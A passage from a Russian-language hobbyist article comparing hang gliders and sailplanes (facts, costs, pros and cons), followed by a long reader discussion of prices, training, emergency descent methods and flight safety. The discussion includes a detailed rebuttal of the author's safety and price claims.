  • Нет кабины. Чем выше вы летите, тем холоднее.

Бюджет

  • Разово покататься можно в тандеме. Около 80$.
  • Обучение проходит на клубной технике. Для СНГ порядка 50$/мес.
  • Собственный б/у дельтаплан можно купить за 500$-1000$.
  • Спортивный дельтаплан стоит около 4000$.


Обычный полет в горах



Еще фото дельтапланов
Взлет


Спортивный дельтаплан


Полет вдвоем (тандем)


Учебный дельтаплан


Транспортировка дельтаплана



Планера




Факты

  • Металлическая или пластиковая конструкция. Использования ткани — минимально.
  • Самый древний из летательный аппаратов. Любой самолет является ни чем иным, как планером с мотором.
  • Скорость полета от 50 до 300 км/ч.
  • Вес пилота от 50 до 130 кг.
  • Рекорд мира на дальность — 2256.9км 3009км.
  • Рекорд по треугольному маршруту с возвращением на место старта — 1756км.
  • Большие самолеты тоже умеют быть планером. Например раз и два.

Плюсы

  • Безопасный. Человек находится в закрытой кабине. Взлет и посадка происходит на шасси.
  • В этом спорте нет ограничения по возрасту и состоянию здоровья.
  • Доступный для обучения. Много двухместных планеров, на которых и проходит обучение. Управление полностью дублировано у обоих пилотов.
  • Большое кол-во клубов в СНГ, которые существуют благодаря технике и кадрам из СССР.
  • На планерах крутят почти все фигуры высшего пилотажа.
  • Взлет и посадка только с аэродрома или ровного поля. Взлет с горы не практикуется.
  • Далеко и быстро летит. Ветер не особо влияет не возможности планера.
  • Комфортабельность полета. Сидеть в планере комфортнее чем в кресле.

Минусы

  • Во всем мире, кроме СНГ, это элитный и дорогой вид спорта.
  • Посадка вне аэродрома требует хорошо подобранного поля. Сложность с эвакуацией планера, в случае посадки вне аэродрома.
  • Летать без поддержки клуба можно только на планере с мотором.
  • Зрелищно не более чем игра в шахматы. Т.е. если вы понимаете что происходит, то можете восхититься. Бывают исключения.
  • Много работы или денег нужно вкладывать в клуб (аэродром, клубная техника)
  • В СНГ планеризм не поставлен на коммерческие рельсы, поэтому существует за счет энтузиастов и техники из СССР. Соответственно, понятие “клиент” для тех кто хочет научиться летать только формируется.
  • Что бы летать самостоятельно нужно или получать “права” на планер или летать в клубе на клубной технике и вести кучу документации с этим связанной.
  • Есть медкомиссия.
  • Чем дороже планер, тем сложнее и дороже его ремонт.

Бюджет

  • Покататься можно за 80$-100$. Пилотаж с недавнего времени на учебных планерах запрещен, но прошлые 30 лет крутили.
  • В СНГ обучение стоит около 200$/мес + работа по обслуживанию клуба. Чем опытнее пилот, тем дешевле.
    Есть понятие VIP обучения. За 500$/мес можно летать по максимуму и ни на что не отвлекаться.
  • Купить б/у учебный, двухместный планер можно за 4000$-8000$.
  • Спортивный б/у планер без мотора стоит от 10 000$.
  • Планер с мотором стоит от 30 000$ до 400 000$.


Обычный полет на планере



Еще фото планеров
Спортивный планер


Телега для транспортировки разобранного планера


Соревнования



Выводы


Все представленные летательные аппараты полностью зависят от погоды. Перелететь из пунка А в Б сложно. Всегда есть риск приземлиться где-нибудь посередине. Это хобби, которое позволяет ощутить вкус свободного полета и посмотреть на землю с высоты. Парящие полеты не могут наскучить — это каждый раз нестандартная задача.
Хотите летать безопасно, высоко и с комфортом — выбирайте планер.
Хотите экстрима и ветра в лицо — дельтаплан или параплан.
В любом случае, попробовать можно все.

Дополнение к выводам после комментариев.

Безопасный полет — это следование правилам которые написаны в книгах по организации полетов и собственная ответственность за свои поступки. Если вы учитесь летать не читая книг, не изучая принципов аэродинамики и метеорологии, то летать вы будете наугад. И когда-нибудь вам не повезет. Можно летать безопасно на любом летатательном аппарате, если следовать инструкциям по организации полета и предполетной подготовки. На параплане — проще всего нарушить эти правила т.к. существует иллюзорная простота управления и чаще всего нарушаются принципы организации полетов. На планерах вам не дадут начать летать самостоятельно пока у вас не будет гарантированного минимума знаний, который будет подкреплен контрольными полетами с инструктором.

Парапланеризм и дельтапланеризм, как увлечение выходного дня — занятие достаточно безопасное и бюджетное для среднего класса. Однако, на этапе обучения случаются травмы. Как спорт — это экстремальные виды спорта. Это весьма опасно, и только для тех, кто к этому готов.

Планеризм — это не экстремальный вид спорта. Травматизм — футбол во время ожидания погоды.
Летные происшествия — есть, были, и будут как и не расчетные ситуации в полете. Но это таки соизмеримо с вероятностью автомобильной катастрофы.

А вот ежедневное 12 часовое сидение за компьютером гарантированно приведет к необратимым травмам сердечно-сосудистой системы. Их не видно до поры до времени, а потом, как правило «поздно пить боржоми».

Мое личное, весьма субъективное, мнение
Я знаю много людей которые летали на дельтапланах и парапланах, но перешли на планера. И не знаю ни одного, кто перешел бы с планеров на дельтапланы или парапланы. В СНГ сложилась уникальная ситуация, когда есть много опытных инструкторов и нормальной техники, и можно летать на планере жутко дешево. Мне 5 месяцев полетов на планере (в Киеве) обходятся в 1000$, при этом за мной закреплен планер, который я не покупал и не планирую покупать.
Что бы Вы хотели дальше?

Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.

Проголосовало 3195 человек. Воздержалось 437 человек.

Если летать, то на чем?

Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.

Проголосовало 2998 человек. Воздержалось 598 человек.

Genius_A
Не хватает кармы для переноса в «Будущее здесь»
Genius_A
Теперь хватает. Перенес.
Genius_A
Добавил в «Устройства для ГИКов». =) Если этот коммент начнут минусовать — удалю.
Nrs
Спасибо. Вы прям в точку — в этом году начинаю обучение :) Но цена — 3-4к баксов, довольно странно что у Вас такие расценки, обычно везде по форумам пишут что в европе летать сильно дешевле.
Genius_A
Про какой ЛА идет речь?
Если про планер, то мне обходится в 1000 баксов / сезон.
Nrs
планер, Бланик.
Сорри, я имел в виду цену за курс обучения. Вам то инструктор явно не нужен
Genius_A
У нас (в Киеве) первый сезон обходится около 1600 баксов, если принимать участие в организации полетов и обслуживании аэродрома.
А 4000 — это под ключ. Ничего кроме полетов.
audiserg
В Орле в прошлом году полетали и в Пахомово(2-й Московский АК но на территории Тул.обл., первый походу помер). Орел -150 руб/мин 20 мин около 100$, Пахомово 180 руб/мин. Обучение Орел: 3200$ первый год, Можно за год 2 курса пройти где то в 5000$. На контакты по поводу организации полетов в счет оплаты и т.д. никто не шел. Ну и потом за полеты не сильно меньше сумма. До этого летал на a-27 и як-12. После на мотодельтолете с Тульскими парнями. Но такого ощущения чистоты полета как от планера нет и быть не может. Реально наркотик! Была бы цена в 2 раза ниже может и отучился бы, а так слишком тяжко для бюджета. Да это и по контингенту видно 90% Москва. Позавидуешь тут англичанам )
Genius_A
приезжайте к нам =)
nZeus
в Крыму курс на параплане около 500 евро стоит
valemak
По России/Украине цены ниже европейских, в Москве — выше… Вполне обычная ситуация :)
Genius_A
Это правда. Москва считает что уже в Европе по ценам.
Nrs
цены не московские, российские :) что Орел, что Новосибирск — уровень такой.
tyomitch
Летал в Англии, членство на год £185, плата за одну буксировку £4.50.

Если каждый выходной день три взлёта (программа-максимум, фактически мне удавалось куда меньше), тогда £185+312*£4.50 = £1589 = $2500.

Оценки автора здорово завышены.
Genius_A
Емм, вы на чем летали? Что конкретно завышено?
tyomitch
На en.wikipedia.org/wiki/Schleicher_ASK_21

Вы пишете: «Во всем мире, кроме СНГ, это элитный и дорогой вид спорта. <...> В СНГ обучение стоит около 200$/мес»

На самом же деле в Европе расходы составят максимум 200$/мес, в зависимости от частоты полётов.
Genius_A
А когда вы летали? £4.50 — это на какую высоту или за какую единицу времени?
Вы учитываете стоимость часа аренды планера и инструктора?
tyomitch
£4.50 — это где-то 350 м, время до 15 мин. Если погода позволяла продержаться в воздухе дольше и инструктор считал это целесообразным, то дальше считали по фунту за пять минут, кажется. (Мои полёты в «платное время» выходили считанные разы.)

Аренда планера и инструктора уже включена, т.е. я платил только за членство и за каждый запуск.
Genius_A
Значит вы с лебедки летали. Считается, что для полета по маршруту нужно хотя бы 600м в начале иметь. Время полета по маршруту обычно считается часами.

Но даже для лебедки цена низкая, когда вы летали?
tyomitch
Летал в 2009-2010, но цены с тех пор не изменились, я перепроверил.

Подниматься в хорошую погоду удавалось и до 1000 м, только дальше что новичку делать? Сесть-то нужно на то же поле, а если улетишь далеко в сторону — рискуешь не дотянуть до него на обратном пути.

Чтобы научиться взлетать, управлять аппаратом в воздухе и садиться — вполне достаточно 300 м.
Более того, часть занятий была как раз на экстренную посадку с низкой высоты.

До полётов по маршруту я так и не успел дойти — ну нет у меня таланта к воздухоплаванию, что поделать.
Genius_A
А можно ссылочку на клуб? Что то очень уж невероятные цены.
collapse
Ну для начала параплан — самое оно?
Genius_A
Начинать можно с чего угодно. К чему больше душа лежит. Проще всего учиться на планере т.к. управление полностью дублировано.
nikita2206
А что насчет погоды? С одной стороны — ветер в лицо (учтите русскую зиму), с другой — кровь разгоняется, предполагаю, очень круто. Летают вообще зимой?

ПС я скорее всего про параплан
DmitryLoki
зимой лучше учиться, потоков нету, меньше колбасит в воздухе, да и снег мягкий ;)
Genius_A
Зимой можно научиться взлет-посадке. Но для начала нужно найти тех, кто согласиться учить таки в это время года. В общем, летают, но редко.
DmitryLoki
да нет, московские школы круглый год работают
link0ln
Статья написана отлично и в нужном ракурсе для хабра. Что удивило — дык это стоимость, не думал что столь дешево можно заняться полетами.
Genius_A
Вот и все таки думают. А реально опытные инструктора уже не молодые и скоро придется учить таким как я. Поэтому нужно быстро перенимать чужой опыт. =)
link0ln
Еще есть интересная тема как «Вингсьют», хотелось бы от вас услышать мнение по поводу этого. Занимались ли, насклько опасно?
Genius_A
Не занимался, т.к. это не полет в классическом понимании этого слова. Набрать высоту он не может. Это ближе к парашюту. Про них писать не планирую т.к. к парашютистам не отношусь.
Athari
Подозреваю, что опасно ровно настолько, насколько этого хочет летающий. :) Есть же индивидуумы, которые в метре от земли среди деревьев летают…
strib
Извините что вклиниваюсь, но опасно. Очень. Кадры конечно клевые, но у летунов самая летальная статистика…
Ocelot
Вингсьют — не летательный аппарат в полной мере. На нем не взлетают (вместо этого — сброс с самолета/вертолета), на нем не приземляются (приземляются на парашюте), на нем нельзя набрать высоту.

Вингсьют — не для начинающих. Для управления им необходимы навыки свободного падения и управления парашютом. То есть сначала нужно пройти базовый курс парашютных прыжков (например, AFF), научиться летать фрифлай (FreeFly), и только потом, после пары сотен прыжков, переходить на винг.
3dstepych
Если мне не изменяет память, то мой инструктор после прыжка с обычного парашюта говорил что для вингсьюта надо около 300-400 прыжков с обычным парашютом совершить.
billpnz
после прыжка с обычного парашюта

Приземлились нормально?=)
3dstepych
На удивление да) Больше всего боялся, что либо парашют не раскроется, либо ноги переломаю при приземлении, но вроде все прошло на отлично :)
skygad
Я тут глядя на эту статью вдохновился и про парашюты написать.
Там и про вингсьют будет.
Благо с предметом знаком довольно близко.
skyksandr
Занимаюсь. Очень нравится.

Насчет опасности — необходимо разделять на:
BASE jumping (прыжки с неподвижных объектов)
www.youtube.com/watch?v=GIdDA4xdTf8
Да, опасно, очень.

Skydiving:
www.youtube.com/watch?v=u28zonbbyVs
Не опасней езды на автомобиле, если не бежать впереди паровоза.

Примечательное событие:
Вингсьют приземлил англичанин в прошедшем году — www.youtube.com/watch?v=dRB-woVjlFY
k1b0rg
А есть летательные аппараты, которыми могут управлять люди с нарушениями опорно-двигательной системы, конкретно инвалиды колясочники? Былили вообще такие случаи, когда инвалид летал? Авто же водят при помощи спец средств.
Genius_A
Мне известный случай есть. Управление планера специально адаптировали. Это было в Харькове около 15 лет назад.
В Европе таких случаев много. У нас больше проблем с документами чем с техникой.
3dstepych
Параплан, есть специальные подвесные системы, да и были случаи когда именно инвалиды колясочники успешно занимались этим видом спорта, главное желание)
Pastafarianist
Посмотрите 1+1 (Intouchables).
DmitryLoki
Да есть, знакомый поляк-колясочник летает. Перед стартом ему друзья помогают пересесть из коляски в подвесную систему, ну и соответственно на посадке обратно.
awoland
Насчет ощущений при полете на параплане полностью согласен с автором — это непередаваемо. Параплан ближе всего подводит человека к мечте свободного полета. Фактически Вы парите как птица, только вместо крыльев у Вас матерчатое крыло-парус над головой. И свист воздушного потока в стропах…
Genius_A
Делайте следующий шаг — начинайте летать на планере =)
Там тоже свист приятный, особенно на скорости 200км/ч в спортивном планере.
awoland
На планере не пробовал — не было возможности. Возможно тоже понравится.
В детстве зачитывался «Здравствуйте, аисты!» В. Гончаренко…

Про параплан же тема особая — там между Вами и небом только кусок ткани и никаких механизмов.
frog
От человека зависит… Я в своё время налетал часов 60 на лёгких самолётах (учился), в т.ч. на пилотажных. И когда меня уговорили попробовать покататься на параплане — на меня это не произвело совсем никакого впечатления :)
Да даже на самолётах есть разные люди — одни этим занимаются ради пилотажа, другим интересно куда-то лететь и смотреть по сторонам.
Antares19
Ну если обычый параглайдинг уже впечатления не производит, всегда можно попробовать Acro:
www.youtube.com/watch?v=4sNInLxyrWc
www.youtube.com/watch?v=6Ldj_9kcpSI

или Speedflying на худой конец:
www.youtube.com/watch?v=Z-K0nvU9lBQ

;)
frog
Выглядит прикольно, но это совершенно другого типа прикол… Сейчас подумал, в чём _принципиальная_ разница с пилотажным самолётом… Наверное первично — наличие мощного двигателя и жёсткость конструкции. Это качественно меняет суть, на мой взгляд.
Antares19
Хм, да, я кажется понимаю про что вы. Я катаю по оффроадным тропам на горном велосипеде, эндуро-мотоцикле и авто-внедорожнике… и от каждого типа покатушек совершенно своя радость.

Мощный двигатель многое меняет.

Но правда от горного велосипеда отказаться пока не тянет. Там что-то совершенно своё :)
leksey
На параплане не пробовал, хотя предлагают. Но пока считаю, что «как птица» — это на планере.
McBernar
Про моторку интересно послушать.
Летал в Олюденизе на параплане — фантастические эмоции. Ради таких моментов стоит жить.
Летал у нас в Подмосковье на Робинзоне — скучно. Здесь же летал на ЯК-52 — очень круто, но перегрузки дикие.

Воздушный спорт нужно развивать в нашей стране. Люди будут чаще смотреть в небо.
Genius_A
Воздушный спорт и так есть. В Киеве техники больше чем людей. Т.е. можно приходить и летать. Но людей нету и техника простаивает.
foxmuldercp
А ссылочками не поделитесь?
foxmuldercp
Спасибо, а то у меня в друзьях одни парашютники…
McBernar
К сожалению, в России совсем все не так.
Genius_A
О чем вы?
k1b0rg
У нас рядом с городом Ишимбай есть горы Шиханы с них постоянно парапланеристы и дельтапланеристы летают, даже из соседних регионов приезжают.
VaiMR
Моя мечта — мотодельтаплан
Genius_A
О нем в следующей статье
vadimus
А меня захватила вот такая штука. Правда, только в мечтах.



Трехколесный велек, можно и на педальном ходу, можно и вентилятор включить и разгоняться до 80 км/час, а можно с парапланом полетать.
Genius_A
Это паратрайк. Правда какой то очень специфической конструкции. Возможно, о нем напишу в следующей статье.
vadimus
Эх, если бы еще мотор бесшумный был, да весил бы поменьше :)
Antares19
Электромотор. Уже есть мотопланера с тихими двигателями.
Genius_A
О, вот это здорово! Прогресс не стоит на месте.
Но как же вес АКБ? Или для планера небольшой хватает?
Antares19
Уже есть коммерческие экземпляры. По заявлениям энергии хватает на 30мин. Для взлета нужно 15мин.
Но я пока только мечтаю на таком полетать…
bockor
Такой будет стоить как космический корабль ;)
Antares19
Из похожих по ТТХ есть еще автожиры.
nekt
Отличная статья, спасибо! Планер — мой план на будущее, лет через 5-10. До этого ещё дела есть.
Кстати, могу написать подобный мануал про парусный спорт, было бы интересно кому?
pnd_ku
Напишите, мне интересно.
Remasik
Будет сделано в ближайшее время!
pnd_ku
Заранее благодарен, если не сложно, отпишитесь как только будет готово.
Remasik
Да, очень интересно. Особенно вопрос лицензий интересует
glebreutov
И этот вопрос расскажу, не забанили бы только за оффтопики.
pnd_ku
Судя по рейтингу этого топика Хабру интересно. Главное давать «сексуальные» фото и видео и разбавлять практическим опытом, а не копипастингом с википедии.
Genius_A
А есть ли какая-нибудь статистика по трамвам/смертям по различным средствам полета?
z0rg
Долго искал ее, но пришел к выводу что ее никто не ведет.
Из собственных наблюдений:
На параплане больше всего мелких травм, на дельтаплане чуть меньше мелких, но больше средней тяжести (переломы).
На планерах травм на моей памяти не было. Были только летальные случаи и только на соревнованиях. Впрочем, на дельтапланах и парапланах такие случаи тоже есть.
Мое мнение — летать безопасней чем водить авто по городу.
Genius_A
Расчеты пожалуйста… Количество летунов, количество побившихся и пропорцию по автомобилям соответствующую )
strib
Если кто найдет такие цифры — вставлю в статью. Оперирую лишь всеми летными проишествиями на территории СНГ которые так или иначе через меня проходят.
Genius_A
Вот в том то и дело, в абсолютном исчислении — несколько человек в год, а в относительном уже вполне видимая доля.
strib
Я думаю данные могут быть у страховых ну или как минимум посудить по сумме страховой премии.
z0rg
Со страховыми _очень_ большая проблема. Найти страховую, которая ЕЩЁ НЕ отказалась страховать пара- и дельтапланеристов — тот ещё квест. Совсем недавно отказались несколько крупных мировых страховщиков. Из российских несколько ещё есть, но у российских часто можно напороться на проблемы отказа в оплате… :( с совершенно безумными формулировками, типа, — диагноз «перелом ноги» не соответствует страховому случаю «перелом ноги»…

Ну, и для общего отрезвления, — paraplan.ru/memorial/. Это весьма небольшая часть — сами понимаете, в таких случаях мало кто хочет выставлять трагедию напоказ…
dime
Вы знаете, перворазников-парашютитов с дубом страховики страхуют на ура, особенно от смертельных случаев, а не от травм. Даже без наценок всяких. Как если бы просто застраховался на тот или иной период.
А вот со спортсменами сложнее.
А ведь реально — ну что с дубами будет? Риск сломать ногу или потянуть связки при посадке велик, особенно для новичка, но вот разбиться на куполе без задержки и со страхующим прибором на запаске? Это уж очень проблематично.
А вот спортсмены на крыле это другой компот. Там и травм и жмуров много.

Если провести аналогии с обсуждаемыми ЛА, то простейший полет, в простейших условиях действительно довольно безопасен при дружбе с мозгами. А вот нарушение ТБ или сложные задачи это другой компот.
Mendel
Есть. Большинство активно летающих на парапланах и дельтапланах поломаны в той или иной степени.
popopo
небольшое исследование — Вероятность травм в парапланеризме
paraplan.ru/forum/post/842192
DmitryLoki
Обучаюсь полётам на дельтаплане, 4-й месяц. Обучение довольно сложное, от 3-х до 6-и месяцев, в зависимости от дельтаклуба (техн. возможностей, тренеров и т.д.) и погодных условий. Т.к. живу в горной местности (Тянь-Шань) — взлетаем без лебёдок, просто разбегаясь с горы. Попутно изучаем азы аэродинамики, метеорологии и пр…
faiwer
А есть на параплане/дельтаплане экстренное снижение и приземление?
Graube
А что вы понимаете под экстренным? В туалет сходить можно и в воздухе =)
Всегда есть спасательный парашют.
Genius_A
Под экстренным понимаю резкое снижение и посадку, т.к. дальнейший полет может закончится фатально, например, резко ухудшилось состояние здоровья (от этого никто не застрахован).
Graube
Есть.
1) Симиметричное сложение больших и малых «Ушей» (кончики крыльев). Увеличение лобового сопротивления, уменьшение площади крыла. Один из наиболее безопасных вариантов. При приземлении Ушки необходимо «прокачать» заранее. Этот комплекс входит в программу любой летной школы в обязательном порядке. Выглядит так: www.youtube.com/watch?v=y6oPUWLqZLs

2) Глубокая спираль. Вввод купола в режим вращения вокруг некоего центра за счет управления корпусом тела и направления передней кромки купола в сторону земли. Жутковатые но очень приятные ощущения. Выход из спирали прост (правда зависит от самого купола) если не считать необходимости компенсации клевков на выходе. Перегрузки значительные, по этому перебарщивать с глубиной спирали не стоит, можно и не выйти до самой земли. Выглядит так: www.youtube.com/watch?v=yUsBRSXoTTc

3) «Б срыв». Срыв крыла по среднему ряду строп и переход его в режим парашютирования. Спуск стабильный, ровный, без перегрузок и рывков. Правда необходимо следить за тем чтобы в процессе «B Срыва» не возникли «Уши» а вслед за ними, «Галстук». Перед приземлением необходимо оставить запас высоты для того чтобы дать крылу возможность набрать скорость и компенсировать серию клевков. Выглядит так: www.youtube.com/watch?v=ZzMyGSfwTMI

4) Найти нисходящий поток и обрабатывать его.

Способов довольно много, но вообще, пописать стоит заранее… ;)
Rolex
Фактически нет. Человек должен контролировать процесс полёта, если он потеряет контроль, полёт может кончиться фатально. Надо выдерживать направление, чтобы не улететь не туда, а перед приземлением надо тормозить, чтобы посадка была не жёсткой. Если плохое самочувствие, проблемы со здоровьем или нет уверенности в своём вестибулярном аппарате, никаких парапланов.
PART
Да. На дельтаплане есть несколько способов быстрого снижения. К примеру тугая спираль, «галсы» (знаю только в общих чертах — вроде бы это быстрые резкие повороты), «нож» (на очень большой высоте в экстренной ситуациии можно поставить дельтаплан «на бок», ввиду чего он будет просто падать вниз). Извиняйте за сленг, я пока только учусь, и серьёзные полёты у меня ещё впереди :)

Про парапланы не в курсе, но там, как минимум, для быстрого снижения можно сделать тугую спираль.
faiwer
Извините, но ваши советы смертельно опасны для жизни.

>Стереотипы о парящих полетах
> Летать опасно.
> Опасно переходить дорогу в не положенном месте т.к. вас может сбить автомобиль. А в воздухе все зависит только от вас.

Летать смертельно опасно. В воздухе далеко не всё зависит только от вас. Достаточно легко принять неправильное решение (даже ещё до момента подъёма в воздух), которое очень просто может оказаться фатальным.

> В воздухе можно столкнуться с другим летательным аппаратом или птицей.
> Это возможность существует, но ее вероятность настолько мизерна, что случаи таких столкновений можно пересчитать по пальцам. Один из самых известных — жив, цел, орел.

Столкновение в воздухе с другим аппаратом — одно из самых опасных происшествий. Вероятность столкновения сильно зависит от концентрации летательных аппаратов в воздухе и квалификации их пилотов. В некоторых местах (и с некоторыми пилотами) такое происшествие не так и невероятно. Похоже и с птицами, но реже.

> Очень сложно взлетать и приземляться
> Да, это самая сложная часть полета, но не сложнее чем проехать нерегулируемый перекресток на автомобиле.

Сложнее и сильно сложнее. Иногда неизмеримо сложнее. Иногда и смертельно сложно…

> Нужно очень долго учиться
> Учиться нужно, но не больше чем на автомобильных курсах. Даже меньше т.к. в воздухе нет ГАИшников и дорожных знаков.

Нужно долго учиться. Если речь не идёт о простейших покатушках сверху-вниз, то очень сильно дольше. Гаишников и знаков нет, но правила существуют. Кроме того, само занятие на несколько порядков опаснее вождения автомобиля.

> Если в воздухе что то сломается и шансов спастись нет.
> Конструкция настолько проста, что ломаться в ней, при нормальных нагрузках, почти нечему.

Есть и чему ломаться, есть и возможность упасть и без поломок оборудования. Парапланы складывает, у дельтиков свои опасности, напр. «голландский шаг» (при мне так насмерть разбился пилот..)

>К тому же, всегда есть спасательный парашют для непредвиденных ситуаций.

Он есть, если вы его купили. И он — не панацея. То есть даже введение в действие спасательной системы не гарантирует от фатального исхода. И, даже если вам повезёт, есть такая поговорка, — запаска спасает жизнь, но не ноги. То есть велик шанс поломаться при приземлении.

> Это очень дорого
> В реальности это стоит от 50у.е./ мес. Свой летательный аппарат не всегда нужно покупать. Аренда зачастую выгодней.

От 50уе — это ведь до бесконечно дорогой бесконечности, правда? :)
Что касается планера, вероятно, аренда выгоднее до каких-то пор. Для сверхлёгких же, нет.

>Параплан
>Себе можно купить б/у за 200-1000$.

За 200уе вы себе купите орудие самоубийства. За 1000 какой ни какой пригодный для обучения и начальных полётов, старенький комплект можно постараться собрать. Требуется консультация специалиста.
Сравнительно пригодный комплект — где-то от 2000. Новый — от 3000

>Спортивный параплан стоит около 2500$.

При чём здесь спортивный параплан??? Начинающим? Это чтобы гарантированно убиться? Кроме того, это цена только купола. Ещё нужны — подвеска, запаска, шлем, обувь, приборы.

Про дельты примерно такая же картина только с множителем примерно 3. Или 4…

Про планёры не в курсе.

>Хотите экстрима и ветра в лицо — дельтаплан или параплан.

Хотите ветра — да. Хотите экстрима — лучше прыгните с парашютом или на верёвочке с высоты. Не приходите на дельты и парапланы для экстрима. Вы убьётесь, а нам вас хоронить…

Резюме. Всё, что не касается планёров в статье по большей части полнейшая нелепица (про планёры просто не знаю, я с ними не пересекался). Отказать.

Для тех, кто считает, что хочет летать, очень серьёзно спросите себя, — зачем это вам. Узнаете много нового.
А общий принцип простой — можете не летать — НЕ ЛЕТАЙТЕ! Серьёзно.
dime
Хабру не нравится любая резкая критика, независимо от её обоснованности, так что я бы не торопился с выводами. :) Мне как стороннему наблюдателю было бы интересно услышать развёрнутый ответ на развёрнутый комментарий, а не отсылку к непредсказуемой карме (ну, точнее, предсказуемой — если всегда говорить, что думаешь, то она такой и будет).
Genius_A
ок, по вашему заказу:

Летать смертельно опасно. В воздухе далеко не всё зависит только от вас. Достаточно легко принять неправильное решение (даже ещё до момента подъёма в воздух), которое очень просто может оказаться фатальным

Водить машину смертельно опасно. Даже принимая правильные решения вас могут протаранить. В воздухе вероятность тарана в разы меньше (как минимум потому что полет происходит в трехмерном пространстве). Принять неправильное решение можно где угодно. По сути это вопрос в умении человека отвечать за собственные поступки.

Столкновение в воздухе с другим аппаратом — одно из самых опасных происшествий. Вероятность столкновения сильно зависит от концентрации летательных аппаратов в воздухе и квалификации их пилотов. В некоторых местах (и с некоторыми пилотами) такое происшествие не так и невероятно. Похоже и с птицами, но реже.

Все правильно. Не летайте в местах массового скопления других летательных аппаратов. В воздухе всегда можно перелететь в другое место. А если вам очень хочется быть именно в этом потоке, то контролируйте пространство вокруг себя.

Про взлет и посадку: Сложнее и сильно сложнее. Иногда неизмеримо сложнее. Иногда и смертельно сложно…
Иногда невероятно сложно, просто чрезмерно. Лучше не летать. Серьезно. =)

По ценам: все цены примерны. Я указал стартовые цены, с которых можно начать.

А в целом согласен с выводом: «А общий принцип простой — можете не летать — НЕ ЛЕТАЙТЕ! Серьёзно.»
Летать должны лишь те, кто в состоянии отвечать за свои поступки и осознает риск авиационных видов спорта.
Athari
>Водить машину смертельно опасно. Даже принимая правильные решения вас могут протаранить.

Да при чём здесь вообще таран??? Если уж эта тема вам так близка, то при автомобильном «таране» вы, скорее всего, выживете. При столкновении в воздухе… ну, тоже есть вероятность выжить. Небольшая. Не в этом дело. Атмосфера малопредсказуема даже если вы будете совершать только «правильные» поступки…

>Не летайте в местах массового скопления других летательных аппаратов.

А других нет. Более того, если действовать в соответствии с правилами, то вообще запрещено совершать полёты при наличии менее, чем трёх человек в месте старта. И даже разгильдяйские парапланеристы стараются это правило соблюдать. При нарушениях прилетает очень больно. У нас прошлом году очень сильно разбился пилот, решивший попарить в динамике в одиночку в простых условиях в знакомом месте. Хорошо, что перед полётом позвонил коллегам и они уже ехали (тоже полетать) когда он разложился. Нашли хоть его и спасли. А так бы загнулся (был без сознания)…
И это… У планёров отсутствие скоплений в одном месте естественным образом регулируется не быстрым процессом затяжки. А при старте с горы в лётном месте десятки аппаратов запрыгивают одновременно в поток. А если не в поток, то дожидаются его в динамике. Или на горе Клементьева многие десятки аппаратов часами парят в динамике. Довольно узком. И, почему-то, любят кучковаться в паре мест… Поищите фотки — красиво, но страшно. Я когда там бывал один раз покрутился в этом мессиве, а потом сбегал от толпы, благо хребет длинный. Ну, и столкновений на той же Клемухе изрядно. Втч со смертельными исходами. :(

>Я указал стартовые цены, с которых можно начать

Нельзя с них начать. Либо вас обманули, либо вы обманываете. За 200 баксов можно купить в лучшем случае б/ушную запаску. ИЛИ б/ушную подвеску. Купол в состояний, который вас не убъёт стоит минимум в 3 раза дороже. Итого, если постараться, возможно удастся уложиться в 1000.
Genius_A
При столкновении в воздухе… ну, тоже есть вероятность выжить. Небольшая.
Есть же запаски. Сколько слышал про столкновения — все в той или иной мере обошлись даже без переломов. Вы не перегибаете палку?
dime
У меня складывается впечатление, что суть спора о том безопасно/опасно заключается в таких различиях:
1 — субъективная оценка фактов несколько отличается. (здесь и далее я буду говорить на примере парашютистов, они мне более знакомы) Был я как-то на полигоне, когда один молодой спортсмен сделал отцепку (отцепил основной парашют, и раскрыл запаску). Моя реакция была «ааа ааааа, что случилось?». Когда узнал, что он это сделал не в связи с проблемами, а просто для тренировки, чтобы в случае проблем иметь опыт, то все равно ворчал про себя «блин, ну как же это? а если бы запаска не сработала, у него ведь нет второй!!!!», а инструктор сказал что-то вроде «получит по шапке, что заранее никого не предупредил, люди нервничали, а так — было бы о чем говорить..»
2 — существенная разница в программах прыжков подразумевает существенную разницу в опасности. Прыжки новичков на дубах (десантный, учебный) при соблюдении всех правил безопасности реально могут привести максимум к перелому (что часто). Нет, ну бывают конечно особо извращенные случаи типа того как девушка уже на земле не сумела погасить купол (т.е. сделать так, чтобы он лежал как тряпка, а не раздувался на ветру), и ветер ее потащил к какому-то забору, и головой об забор шмякнул. Да так, что девушка скончалась на месте. Но такие случаи уж совсем редкостное несчастье. А вот у спортсменов стопитсот возможностей сотворить ЧП. Там и парашюты намного опаснее чем у новичков, и программа прыжков уж очень отличается.
3 — очень большая разница в клубах. У нас есть два клуба… В одном даже ноги и то редко ломают, в другом же с полигона регулярно уезжает труповозка. Как мне объяснили закрыть их не получается потому что невозможно отобрать лицензию у того, у кого ее нет. Не знаю уж как они работают, да мы и не о том. Там где прыгал я было все по уму — на три дня обучения пришлось два зачета. Висишь такой в системе, на тренажере, а незнакомый дядька тебе глупые вопросы задает, да еще и показать все требует. И после этого на полигоне нам краткий конспект еще ДВА РАЗА повторили. Парашюты дважды независимо осматривали, на борту были два инструктора, естественно страхующий прибор, естественно всех по весу расставили… в общем все мероприятия по безопасности. Причем дело тут совсем не в «занудстве» выпускающего. При мне был случай когда на осмотре выявили, что стропа дергающая основной парашют слегка протерлась. Инструктор и глазом не моргнув просто поменял местами парашюты у того перворазница и спортсмена, со словами мол вечером поправим, это не страшно, все будет ок, но если что — спортсмен и на запаске сядет… Все дело в методике. Если система четко отлажена от безопасности сложно спрятаться. А вот во втором клубе был случай когда девочка разбилась. Полный отказ основного и полный отказ запаски. Такая была предварительная информация. Как показало расследование отказ основного был следствием того, что карабин который цепляется на трос для раскрытия основного при выходе… забыли зацепить. Вот как его можно забыть зацепить если вокруг полно народу, два инструктора (Которые собственно и должны это делать), спортсмены? КАК? Просто когда нет занудной инструкции которую все знают наизусть, но все равно читают по бумажке и т.п. может и не такое случиться. В общем отказ запаски был вызван тем, что девочка прыгавшая в первый раз, на дубе — прыгала без страхующего прибора (это такая штука, которая на заданной высоте, обычно 400 метров — не задумываясь открывает тебе запаску. Если не хочешь, чтобы у тебя открылась запаска — когда проверил что все ок с основным куполом — отключи страхующий прибор), ну а за кольцо она не дернула потому что испугалась и не нашла как это сделать, ведь она не сидела в системе на тренажере, ибо нет у них тренажера, и когда оделась никто не сказал им убедиться что они все знают, и 